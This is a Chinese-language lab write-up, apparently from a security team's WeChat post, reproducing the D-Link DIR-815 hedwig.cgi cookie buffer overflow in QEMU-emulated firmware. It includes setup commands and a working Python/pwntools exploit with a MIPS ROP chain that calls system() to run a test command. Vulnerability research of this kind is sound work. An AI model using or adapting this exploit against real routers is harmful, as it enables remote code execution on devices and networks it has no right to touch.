本文基于D-LINK DIR-815路由器的存在漏洞版本的固件进行相关分析
首先下载路由器固件文件
https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0
首先使用binwalk解压固件
binwalk -Me DIR-815A1_FW101SSB03.bin --run-as=root
解压后在/squashfs-root得到固件的文件系统
接下来使用qemu-system-mipsel系统模拟,模拟前需要先下载mips架构的内核镜像和文件系统
https://people.debian.org/~aurel32/qemu/mipsel/
下载完成后执行下面的命令进行模拟
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
输入root/root即可进入qemu模拟系统
接下来需要在宿主机进行网卡配置
若没有安装依赖需要先执行如下命令安装依赖库
sudo apt-get install bridge-utils uml-utilities
然后依次执行下面的命令配置网卡
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens32 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 172.16.20.254 netmask 255.255.255.0
此时通过ifconfig命令即可看到配置好的tap0网卡
接下来进入到qemu虚拟机中进行网络配置
依次执行下面的命令
ifconfig eth0 172.16.20.2 netmask 255.255.255.0
route add default gw 172.16.20.254
ifconfig
可以看到qemu虚拟机的eth0网卡ip地址已经配置为172.16.20.2
此时若上述配置没有问题,宿主机和qemu虚拟机之间已经可以相互连通
通过下面的命令从宿主机将解压固件后的得到的文件系统传到qemu虚拟机上
scp -r squashfs-root/ [email protected]:/root
传输完成后,进入到qemu虚拟机的squashfs-root/目录,新建一个http_conf文件,该文件是http服务的配置文件
文件内容如下
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #网卡
Address 172.16.20.2 #qemu的ip地址
Port "4321" #对应web访问端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
然后在qemu虚拟机的squashfs-root/下编写一个init.sh脚本,通过这个脚本进行初始化并启动路由器h固件http服务
init.sh脚本内容如下
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf
通过浏览器访问
http://172.16.20.2:4321/hedwig.cgi
可以看到成功启动了http服务
打开burpsuite,抓取浏览器访问http://172.16.20.2:4321/hedwig.cgi的请求包
由于直接浏览器访问提示不支持GET请求方法,所以将请求方法改为POST
会返回411错误,根据报错应该是缺少Length字段
在请求头中加入Content-Length字段后再次请求,返回200,提示“no xml data”
创建一个exp.py脚本,脚本内容如下,该脚本的功能是利用漏洞执行“touch /tmp/havebeenpwn”命令
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
cmd = b'touch /tmp/havebeenpwn'
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
url = "http://172.16.20.2:4321/hedwig.cgi"
data = {"winmt" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)
在宿主机执行python exp.py
可以看到qemu虚拟机的/tmp目录下成功创建了一个名为havebeenpwn的文件
美创科技旗下第59号实验室,专注于数据安全技术领域研究,聚焦于安全防御理念、攻防技术、威胁情报等专业研究,进行知识产权转化并赋能于产品。累计向CNVD、CNNVD等平台提报数百个高质量原创漏洞,发明专利数十篇,团队著有《数据安全实践指南》
原文始发于微信公众号(b1gpig信息安全):D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论